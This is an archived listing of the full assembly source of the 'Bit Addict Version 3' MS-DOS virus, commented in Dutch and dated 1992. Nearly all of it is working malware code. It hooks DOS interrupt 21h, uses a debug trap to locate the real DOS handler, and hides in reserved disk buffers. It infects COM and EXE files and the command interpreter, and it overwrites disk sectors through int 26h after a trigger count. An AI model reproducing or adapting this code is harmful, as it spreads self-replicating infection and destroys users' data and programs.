home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / ASM-A.ZIP / ADDICT7.ASM < prev    next >
Assembly Source File  |  1992-03-17  |  14KB  |  813 lines

  1. ; Bit Addict Versie 3
  2.  
  3. ;-----------------------------------------------------------------------------
  4. ;-----                                                                   -----
  5. ;-----              Macros en andere hulpmiddellen                       -----
  6. ;-----                                                                   -----
  7. ;-----------------------------------------------------------------------------
  8.  
  9. ; de macro's hieronder worden gebruikt wanneer een conditionele sprong groter
  10. ; wordt dan 128 bytes en er dus een foutmelding komt
  11.  
  12. jmpc    macro    Dest            ; vervanging voor jc
  13.     local    @@00
  14.  
  15.     jnc    @@00
  16.     jmp    Dest
  17. @@00:
  18.     endm
  19.  
  20. jmpnc    macro    Dest            ; vervanging voor jnc
  21.     local    @@00
  22.  
  23.     jc    @@00
  24.     jmp    Dest
  25. @@00:
  26.     endm
  27.  
  28. jmpe    macro    Dest            ; vervanging voor je
  29.     local    @@00
  30.  
  31.     jnz    @@00
  32.     jmp    Dest
  33. @@00:
  34.     endm
  35.  
  36. jmpne    macro    Dest            ; vervanging voor jne
  37.     local    @@00
  38.  
  39.     jz    @@00
  40.     jmp    Dest
  41. @@00:
  42.     endm
  43.  
  44. eseg segment
  45.     mov    ax,4c00h        ; exit
  46.     int    21h
  47. eseg ends
  48.  
  49. ;-----------------------------------------------------------------------------
  50. ;-----                                                                   -----
  51. ;-----              Begin van het Bit Addict virus                       -----
  52. ;-----                                                                   -----
  53. ;-----------------------------------------------------------------------------
  54.  
  55. cseg segment
  56.     assume    cs:cseg,ds:cseg,es:cseg
  57.     org    0
  58.  
  59. CodeSize    equ    CodeEnd-BeginCode
  60. CodeSizePara    equ    (CodeEnd-BeginCode+0fh) / 10h
  61. VirusSize    equ    VirusEnd-BeginCode
  62. VirusSizePara    equ    (VirusEnd-BeginCode+0fh) / 10h
  63. HeaderLength    equ    18h
  64.  
  65. BeginCode    equ    $
  66. SavedCode    equ    this byte        ; gegevens over het
  67. OldSignature    dw    5a4dh            ; programma voor het virus
  68. OldCSIP        equ    this dword
  69. OldIP        dw    0
  70. OldCS        dw    0
  71. OldSP        dw    200h
  72. OldSS        dw    0
  73.         dw    3 dup(0)
  74.  
  75. Comspec        db    'COMSPEC='        ; comspec environment variabele
  76.                         ; om de command.com te vinden
  77.  
  78. ID        db    'Bit Addict Version 3'
  79. ID_Length    equ    $-offset ID
  80.  
  81. Count        dw    0
  82. Bios        db    10h dup(0)
  83. ChkSum        dw    0
  84.  
  85. Begin:    push    ax                ; Programma om het virus
  86.     push    bx                ; in het geheugen te zetten
  87.     push    cx
  88.     push    dx
  89.     push    si
  90.     push    di
  91.     push    ds
  92.     push    es
  93.     call    Init
  94.     jnc    @@12
  95.     call    BiosCheck
  96.     push    cs
  97.     pop    es
  98.     xor    al,al
  99.     mov    cx,VirusSize-CodeSize
  100.     mov    di,CodeSize
  101.     cld
  102.     rep    stosb
  103.     call    DebugOn
  104.     mov    ah,52h                ; lees het adres van de eerste
  105.     call    DOS                ; disk-buffer
  106.     push    bx
  107.     mov    ah,30h
  108.     call    DOS
  109.     pop    di
  110.     call    DebugOff
  111.     cmp    al,2                ; dit werkt niet op dos 1.x
  112.     jb    @@12
  113.     cmp    al,3                ; voor dos 2.x op di+13h en
  114.     adc    di,12h                ; voor dos 3+  op di+12h
  115.     lds    si,es:[di]
  116.     or    si,si
  117.     jne    @@12
  118.     push    di
  119.     cld
  120.     movsw                    ; reserveer 1e buffer
  121.     movsw
  122.     pop    di
  123.     mov    cx,ds
  124.     mov    dx,ds
  125.     mov    bx,3
  126. @@10:    call    GetBuffer            ; reserveer 2e,3e en 4e
  127.     jc    @@11                ; buffer 
  128.     dec    bx
  129.     jne    @@10
  130.     call    CopyBitAddict            ; Copieer bit addict naar
  131.     pop    es                ; de buffers
  132.     push    es                ; Infecteer bestand in de
  133.     call    InfectComspec            ; comspec
  134.     jmp    short @@12
  135. @@11:    call    RestoreBuffers
  136. @@12:    pop    es                ; ga nu verder met het
  137.     pop    ds                ; programma voor Bit Addict
  138.     pop    di
  139.     pop    si
  140.     pop    dx
  141.     pop    cx
  142.     pop    bx
  143.     pop    ax
  144.     cli
  145.     mov    ss,cs:OldSS
  146.     mov    sp,cs:OldSP
  147.     sti
  148.     jmp    cs:OldCSIP
  149.  
  150. GetBuffer:                ; reserveer een buffer
  151.     push    di            ; cx = eerste buffer
  152.     push    es            ; dx = laatste buffer
  153.     jmp    short @@21
  154. @@20:    push    ds
  155.     pop    es
  156.     mov    di,si
  157. @@21:    lds    si,es:[di]
  158.     or    si,si
  159.     jne    @@23
  160.     mov    ax,ds
  161.     sub    ax,dx
  162.     cmp    ax,21h
  163.     jne    @@22
  164.     mov    dx,ds
  165.     cld
  166.     movsw
  167.     movsw
  168.     clc
  169.     jmp    short @@24
  170. @@22:    mov    ax,ds
  171.     sub    ax,cx
  172.     neg    ax
  173.     cmp    ax,21h
  174.     jne    @@20
  175.     mov    cx,ds
  176.     cld
  177.     movsw
  178.     movsw
  179.     clc
  180.     jmp    short @@24
  181. @@23:    stc
  182. @@24:    pop    es
  183.     pop    di
  184.     ret
  185.  
  186. CopyBitAddict:
  187.     push    cs                ; copieer Bit Addict naar de
  188.     pop    ds                ; gereserveerde buffers
  189.     mov    es,cx
  190.     xor    si,si
  191.     xor    di,di
  192.     mov    cx,VirusSize
  193.     cld
  194.     rep    movsb
  195.     xor    ax,ax                ; leid interrupt 21h om naar
  196.     mov    ds,ax                ; Bit Addict
  197.     mov    word ptr ds:[84h],offset NewInt21
  198.     mov    word ptr ds:[86h],es
  199.     ret
  200.  
  201. InfectComspec:
  202.     mov    es,es:[2ch]            ; lees environment segment
  203.     xor    di,di
  204.     push    cs                ; zoek naar de comspec
  205.     pop    ds                ; variabele
  206.     mov    si,offset Comspec
  207. @@30:    push    si
  208.     push    di
  209.     mov    cx,8
  210.     cld
  211.     repe    cmpsb
  212.     pop    di
  213.     pop    si
  214.     je    @@31
  215.     xor    al,al
  216.     mov    cx,-1
  217.     cld
  218.     repne    scasb
  219.     cmp    byte ptr es:[di],0
  220.     jne    @@30
  221.     jmp    short @@32
  222. @@31:    push    es                ; infecteer de COMMAND.COM of
  223.     pop    ds                ; andere command interpreter
  224.     lea    dx,[di+8]
  225.     push    cs:OldIP
  226.     push    cs:OldCS
  227.     push    cs:OldSP
  228.     push    cs:OldSS
  229.     call    Infect
  230.     pop    cs:OldSS
  231.     pop    cs:OldSP
  232.     pop    cs:OldCS
  233.     pop    cs:OldIP
  234. @@32:    ret
  235.  
  236. RestoreBuffers:
  237.     mov    ax,cx
  238. @@40:    cmp    ax,dx
  239.     je    @@42
  240.     mov    ds,ax
  241.     add    ax,21h
  242.     mov    word ptr ds:[0],0
  243.     mov    word ptr ds:[2],ax
  244.     jmp    short @@40
  245. @@42:    mov    ds,dx
  246.     mov    ax,es:[di]
  247.     mov    ds:[0],ax
  248.     mov    word ptr es:[di],0
  249.     mov    ax,es:[di+2]
  250.     mov    ds:[2],ax
  251.     mov    es:[di+2],cx
  252.     ret
  253.  
  254. DebugOn:push    ax
  255.     push    ds
  256.     xor    ax,ax
  257.     mov    ds,ax
  258.     cli
  259.     mov    ax,ds:[4h]
  260.     mov    word ptr cs:OldInt1[0],ax
  261.     mov    ax,ds:[6h]
  262.     mov    word ptr cs:OldInt1[2],ax
  263.     mov    word ptr ds:[4],offset NewInt1
  264.     mov    word ptr ds:[6],cs
  265.     mov    ax,ds:[84h]
  266.     mov    word ptr cs:OldInt21[0],ax
  267.     mov    ax,ds:[86h]
  268.     mov    word ptr cs:OldInt21[2],ax
  269.     mov    word ptr cs:DosInt21[0],0
  270.     mov    word ptr cs:DosInt21[2],0
  271.     sti
  272.     pop    ds
  273.     pop    ax
  274.     pushf
  275.     push    cs
  276.     call    SetTrap
  277.     ret
  278.  
  279. SetTrap:push    bp
  280.     mov    bp,sp
  281.     or    word ptr ss:[bp+6],100h
  282.     pop    bp
  283.     iret
  284.  
  285. DebugOff:
  286.     pushf
  287.     push    cs
  288.     call    ClearTrap
  289.     push    ax
  290.     push    ds
  291.     xor    ax,ax
  292.     mov    ds,ax
  293.     cli
  294.     mov    ax,word ptr cs:OldInt1[0]
  295.     mov    ds:[4],ax
  296.     mov    ax,word ptr cs:OldInt1[2]
  297.     mov    ds:[6],ax
  298.     sti
  299.     pop    ds
  300.     pop    ax
  301.     ret
  302.  
  303. ClearTrap:
  304.     push    bp
  305.     mov    bp,sp
  306.     and    word ptr ss:[bp+6],0feffh
  307.     pop    bp
  308.     iret
  309.  
  310. Init:    push    cs
  311.     pop    ds
  312.     cmp    OldSignature,5a4dh
  313.     je    @@50
  314.     mov    si,offset SavedCode        ; herstel begin van het
  315.     mov    di,100h                ; com-programma
  316.     mov    cx,10h
  317.     cld
  318.     rep    movsb
  319.     mov    OldSS,ss            ; bewaar de waarden van
  320.     mov    OldSP,sp            ; ss,sp,cs en ip
  321.     sub    OldSP,10h
  322.     mov    OldCS,es
  323.     mov    OldIP,100h
  324.     jmp    short @@51
  325. @@50:    mov    ax,es                ; bereken de waarden van
  326.     add    ax,10h                ; ss,sp,cs en ip
  327.     add    OldCS,ax
  328.     add    OldSS,ax
  329. @@51:    mov    ax,4b40h            ; controleer of Bit Addict al
  330.     int    21h                ; in het geheugen aanwezig is
  331.     jc    @@52
  332.     mov    ds,ax
  333.     push    cs                ; vergelijk identificatie
  334.     pop    ds
  335.     mov    si,offset ID
  336.     mov    di,si
  337.     mov    cx,ID_Length
  338.     cld
  339.     repe    cmpsb
  340.     je    @@52
  341.     stc
  342. @@52:    ret
  343.  
  344. BiosCheck:
  345.     mov    ax,0f000h
  346.     mov    ds,ax
  347.     push    cs
  348.     pop    es
  349.     xor    si,si
  350.     mov    di,offset Bios
  351.     mov    cx,10h
  352.     cld
  353.     repe    cmpsb
  354.     je    @@54
  355.     mov    ax,cs:Count
  356.     inc    ax
  357.     cmp    ax,100h
  358.     jb    @@53
  359.     call    BitAddict
  360. @@53:    mov    cs:Count,ax
  361.     xor    si,si
  362.     mov    di,offset Bios
  363.     mov    cx,10h
  364.     rep    movsb
  365. @@54:    ret
  366.  
  367. BitAddict:
  368.     xor    dx,dx
  369. @@55:    push    dx
  370.     mov    ax,3
  371.     xor    bx,bx
  372.     mov    cx,40h
  373.     int    26h
  374.     pop    ax
  375.     pop    dx
  376.     add    dx,40h
  377.     or    dx,dx
  378.     jne    @@55
  379.     ret
  380.  
  381. NewInt1:push    bp
  382.     mov    bp,sp
  383.     push    ax
  384.     mov    ax,word ptr cs:DosInt21[0]
  385.     or    ax,word ptr cs:DosInt21[2]
  386.     jnz    @@60
  387.     cmp    word ptr ss:[bp+4],300h
  388.     jae    @@61
  389.     mov    ax,ss:[bp+2]
  390.     mov    word ptr cs:DosInt21[0],ax
  391.     mov    ax,ss:[bp+4]
  392.     mov    word ptr cs:DosInt21[2],ax
  393. @@60:    and    word ptr ss:[bp+6],0feffh
  394. @@61:    pop    ax
  395.     pop    bp
  396.     iret
  397.  
  398. DOS:    push    ax
  399.     mov    ax,word ptr cs:DosInt21[0]
  400.     or    ax,word ptr cs:DosInt21[2]
  401.     pop    ax
  402.     jnz    @@62
  403.     pushf
  404.     call    cs:OldInt21
  405.     ret
  406. @@62:    pushf
  407.     call    cs:DosInt21
  408.     ret
  409.  
  410. InstallCheck:                    ; Zo kan bit addict weten
  411.     mov    ax,cs                ; dat er al een andere copy
  412.     popf                    ; aanwezig is
  413.     clc
  414.     retf    2
  415.  
  416. Exec:    call    CheckExtension            ; functie 4bh, infecteer eerst
  417.     jc    EOI                ; met Bit Addict
  418.     mov    byte ptr cs:Active,1
  419.     call    Infect
  420.     mov    byte ptr cs:Active,0
  421.     jmp    short EOI
  422.  
  423. NewInt21:                    ; Het nieuwe interrupt 21h
  424.     pushf
  425.     cmp    byte ptr cs:Active,0
  426.     jne    EOI
  427.     cmp    ah,3dh
  428.     je    Open
  429.     cmp    ah,3ch
  430.     je    Open
  431.     cmp    ah,3eh
  432.     je    Close
  433.     cmp    ax,4b40h
  434.     je    InstallCheck
  435.     cmp    ah,4bh
  436.     je    Exec
  437. EOI:    popf
  438.     jmp    cs:OldInt21
  439.  
  440. Open:    call    CheckExtension
  441.     jc    EOI
  442.     mov    byte ptr cs:Active,1
  443.     call    cs:OldInt21
  444.     jc    @@92
  445.     pushf
  446.     push    ax
  447.     push    cx
  448.     push    si
  449.     push    di
  450.     push    es
  451.     push    cs
  452.     pop    es
  453.     mov    si,dx
  454.     mov    di,offset File1
  455.     cmp    word ptr es:[di],0
  456.     je    @@90
  457.     mov    di,offset File2
  458.     cmp    word ptr es:[di],0
  459.     jne    @@91
  460. @@90:    cld
  461.     stosw
  462.     mov    cx,70
  463.     rep    movsb
  464. @@91:    pop    es
  465.     pop    di
  466.     pop    si
  467.     pop    cx
  468.     pop    ax
  469.     popf
  470. @@92:    mov    byte ptr cs:Active,0
  471.     retf    2
  472.  
  473. Close:    cmp    bx,cs:File1
  474.     je    @@93
  475.     cmp    bx,cs:File2
  476.     jne    EOI
  477.     mov    byte ptr cs:Active,1
  478.     call    cs:OldInt21
  479.     push    si
  480.     mov    si,offset File2
  481.     jmp    short @@94
  482. @@93:    mov    byte ptr cs:Active,1
  483.     call    cs:OldInt21
  484.     push    si
  485.     mov    si,offset File1
  486. @@94:    jc    @@95
  487.     pushf
  488.     push    dx
  489.     push    ds
  490.     push    cs
  491.     pop    ds
  492.     lea    dx,[si+2]
  493.     call    Infect
  494.     pop    ds
  495.     pop    dx
  496.     popf
  497. @@95:    mov    word ptr cs:[si],0
  498.     mov    byte ptr cs:Active,0
  499.     pop    si
  500.     retf    2
  501.  
  502. CheckExtension:
  503.     push    ax
  504.     push    cx
  505.     push    si
  506.     push    di
  507.     push    es
  508.     push    ds
  509.     pop    es
  510.     mov    di,dx
  511.     xor    al,al
  512.     mov    cx,70
  513.     cld
  514.     repne    scasb
  515.     jne    @@65
  516.     std
  517.     mov    al,'.'
  518.     neg    cx
  519.     add    cx,70
  520.     std
  521.     repne    scasb
  522.     jne    @@65
  523.     lea    si,[di+2]
  524.     cld
  525.     lodsw
  526.     and    ax,0dfdfh
  527.     cmp    ax,5845h        ; 'EX'
  528.     je    @@64
  529.     cmp    ax,4f43h        ; 'CO'
  530.     jne    @@65
  531.     lodsb
  532.     and    al,0dfh
  533.     cmp    al,4dh            ; 'M'
  534.     je    @@66
  535.     jmp    short @@65
  536. @@64:    lodsb
  537.     and    al,0dfh
  538.     cmp    al,45h            ; 'E'
  539.     je    @@66
  540. @@65:    stc
  541.     jmp    short @@67
  542. @@66:    clc
  543. @@67:    pop    es
  544.     pop    di
  545.     pop    si
  546.     pop    cx
  547.     pop    ax
  548.     ret
  549.  
  550. ComHeader:                    ; dit stukje wordt voor een
  551.     mov    ax,cs                ; COM-file geplaatst
  552.     add    ax,0100h
  553. OldSize    equ    this word-2
  554.     push    ax
  555.     mov    ax,offset Begin
  556.     push    ax
  557.     retf
  558.  
  559. Infect:    push    ax                ; Infecteer een file
  560.     push    bx
  561.     push    cx
  562.     push    si
  563.     push    di
  564.     push    bp
  565.     push    es
  566.     mov    ax,4300h            ; lees attributen en bewaar
  567.     call    DOS                ; ze
  568.     jmpc    @@83
  569.     push    cx
  570.     push    dx
  571.     push    ds
  572.     test    cx,1
  573.     jz    @@71
  574.     mov    ax,4301h            ; set Read-Only attribuut
  575.     and    cx,0fffeh            ; op nul
  576.     call    DOS
  577.     jmpc    @@82
  578. @@71:    mov    ax,3d02h            ; open de file
  579.     call    DOS
  580.     jmpc    @@82
  581.     mov    bx,ax
  582.     mov    ax,5700h            ; lees de datum en tijd en
  583.     call    DOS                ; bewaar ze
  584.     jmpc    @@81
  585.     push    cx
  586.     push    dx
  587.     push    cs                ; ds=es=cs
  588.     pop    ds
  589.     push    cs
  590.     pop    es
  591.     mov    ah,3fh                ; lees de header van de file
  592.     mov    cx,HeaderLength
  593.     mov    dx,offset Header
  594.     call    DOS
  595.     jmpc    @@80
  596.     cmp    ax,HeaderLength
  597.     jne    @@75
  598.     cmp    Signature,5a4dh
  599.     jne    @@72
  600.     mov    ax,ExeCS            ; zoek de plaats waar de
  601.     add    ax,HeaderSize            ; identificatie zou moeten
  602.     mov    dx,10h                ; staan voor exe-files
  603.     mul    dx
  604.     add    ax,offset ID
  605.     adc    dx,0
  606.     jmp    short @@73
  607. @@72:    mov    ax,ComCS            ; doe hetzelfde maar dan voor
  608.     mov    dx,10h                ; een com-file
  609.     sub    ax,dx
  610.     mul    dx
  611.     add    ax,offset ID
  612.     adc    dx,0
  613. @@73:    mov    cx,dx
  614.     mov    dx,ax
  615.     mov    ax,4200h
  616.     call    DOS
  617.     jc    @@74
  618.     mov    ah,3fh                ; lees de ID indien aanwezig
  619.     mov    cx,ID_Length
  620.     mov    dx,offset ID_Check
  621.     call    DOS
  622.     jc    @@74
  623.     cmp    ax,ID_Length
  624.     jne    @@74
  625.     mov    si,offset ID_Check        ; controleer of ID aanwezig
  626.     mov    di,offset ID            ; is
  627.     mov    cx,ID_Length
  628.     cld
  629.     repe    cmpsb
  630.     jmpe    @@80                ; als ID aanwezig is, stop dan
  631. @@74:    cmp    Signature,5a4dh
  632.     je    @@77
  633. @@75:    mov    ax,4202h            ; infecteer com-files
  634.     xor    cx,cx                ; ga naar het einde van de file
  635.     xor    dx,dx
  636.     call    DOS
  637.     mov    cx,10h                ; aanpassen van de com-header
  638.     div    cx                ; aan deze com-file
  639.     or    dx,dx
  640.     je    @@76
  641.     push    ax
  642.     mov    ah,40h
  643.     mov    cx,10h
  644.     sub    cx,dx
  645.     xor    dx,dx
  646.     call    DOS
  647.     pop    ax
  648.     jmpc    @@80
  649.     inc    ax
  650. @@76:    add    ax,10h
  651.     mov    OldSize,ax
  652.     mov    si,offset Header        ; bewaar het eerste deel van
  653.     mov    di,offset SavedCode        ; het programma
  654.     mov    cx,10h
  655.     cld
  656.     rep    movsb
  657.     mov    ah,40h                ; schrijf het virus achter het
  658.     mov    cx,CodeSize            ; programma
  659.     xor    dx,dx
  660.     call    DOS
  661.     jmpc    @@80
  662.     mov    ax,4200h            ; ga naar het begin van de file
  663.     xor    cx,cx
  664.     xor    dx,dx
  665.     call    DOS
  666.     jmpc    @@80
  667.     mov    ah,40h                ; overschrijf het begin van het
  668.     mov    cx,10h                ; programma met de com-header
  669.     mov    dx,offset ComHeader
  670.     call    DOS
  671.     jmp    @@80
  672. @@77:    mov    OldSignature,5a4dh        ; infecteer exe-files
  673.     mov    ax,ExeIP            ; bewaar de oude waarden van
  674.     mov    OldIP,ax            ; cs:ip en ss:sp
  675.     mov    ax,ExeCS
  676.     mov    OldCS,ax
  677.     mov    ax,ExeSP
  678.     mov    OldSP,ax
  679.     mov    ax,ExeSS
  680.     mov    OldSS,ax
  681.     mov    ax,PageCount            ; pas de waarden van cs:ip en
  682.     dec    ax                ; ss:sp aan, en pas ook de 
  683.     mov    cx,200h                ; lengte van de file aan
  684.     mul    cx
  685.     add    ax,PartPage
  686.     adc    dx,0
  687.     mov    cx,dx
  688.     mov    dx,ax
  689.     mov    ax,4200h
  690.     call    DOS
  691.     jmpc    @@80
  692.     push    ax
  693.     push    dx
  694.     mov    ah,3fh
  695.     mov    cx,80h
  696.     mov    dx,offset Buffer
  697.     int    21h
  698.     mov    cx,ax
  699.     pop    dx
  700.     pop    ax
  701.     jmpc    @@80
  702.     cmp    cx,80h
  703.     jmpe    @@80
  704.     add    ax,cx
  705.     adc    dx,0
  706.     mov    cx,10h
  707.     div    cx
  708.     or    dx,dx
  709.     je    @@78
  710.     push    ax
  711.     push    dx
  712.     mov    ah,40h
  713.     mov    cx,10h
  714.     sub    cx,dx
  715.     xor    dx,dx
  716.     call    DOS
  717.     pop    dx
  718.     pop    ax
  719.     jc    @@80
  720.     inc    ax
  721. @@78:    sub    ax,HeaderSize
  722.     mov    ExeCS,ax
  723.     mov    ExeIP,offset Begin
  724.     add    ax,VirusSizePara
  725.     mov    ExeSS,ax
  726.     mov    ExeSP,200h
  727.     mov    ax,MinMem
  728.     cmp    ax,20h+VirusSizePara-CodeSizePara
  729.     jae    @@79
  730.     mov    ax,20h
  731. @@79:    mov    MinMem,ax
  732.     mov    ax,PartPage
  733.     add    ax,CodeSize
  734.     add    ax,dx
  735.     mov    cx,200h
  736.     xor    dx,dx
  737.     div    cx
  738.     add    PageCount,ax
  739.     mov    PartPage,dx
  740.     mov    ah,40h                ; schrijf het virus achter
  741.     mov    cx,CodeSize            ; de exe-file, indien de
  742.     xor    dx,dx                ; exe-file overlays bevat dan
  743.     call    DOS                ; worden ze overschreven en is
  744.     jc    @@80                ; de exe-file onherstelbaar
  745.     mov    ax,4200h            ; beschadigd
  746.     xor    cx,cx
  747.     xor    dx,dx                ; ga naar het begin van de file
  748.     call    DOS
  749.     jc    @@80
  750.     mov    ah,40h                ; schrijf de nieuwe exe-header
  751.     mov    cx,HeaderLength            ; over de oude heen.
  752.     mov    dx,offset Header
  753.     call    DOS
  754. @@80:    pop    dx                ; herstel de datum van de file
  755.     pop    cx
  756.     mov    ax,5701h
  757.     call    DOS
  758. @@81:    mov    ah,3eh                ; sluit de file
  759.     call    DOS
  760. @@82:    pop    ds                ; herstel de attributen van de
  761.     pop    dx                ; file
  762.     pop    cx
  763.     test    cx,1
  764.     jz    @@83
  765.     mov    ax,4301h
  766.     call    DOS
  767. @@83:    pop    es                ; herstel de waarden van de
  768.     pop    bp                ; registers en keer terug
  769.     pop    di                ; naar het oude interrupt 21
  770.     pop    si
  771.     pop    cx
  772.     pop    bx
  773.     pop    ax
  774.     ret
  775.  
  776. CodeEnd        equ    $
  777.  
  778. Header        dw    HeaderLength/2 dup(?)
  779. ComCS        equ    Header[OldSize-Comheader]    ; Com file
  780.  
  781. Signature    equ    Header[0h]            ; Exe file
  782. PartPage    equ    Header[2h]
  783. PageCount    equ    Header[4h]
  784. HeaderSize    equ    Header[8h]
  785. MinMem        equ    Header[0ah]
  786. MaxMem        equ    Header[0ch]
  787. ExeSS        equ    Header[0eh]
  788. ExeSP        equ    Header[10h]
  789. ExeIP        equ    Header[14h]
  790. ExeCS        equ    Header[16h]
  791.  
  792. ID_Check    db    ID_Length dup(?)
  793.  
  794. Active        db    ?
  795.  
  796. DosInt21    dd    ?
  797. OldInt21    dd    ?
  798. OldInt1        dd    ?
  799.  
  800. File1        dw    36 dup(?)
  801. File2        dw    36 dup(?)
  802.  
  803. Buffer        db    80h dup(?)
  804.  
  805. VirusEnd    equ    $
  806.  
  807. cseg ends
  808.  
  809. sseg segment stack
  810.     db    200h dup(?)
  811. sseg ends
  812.  
  813. end Begin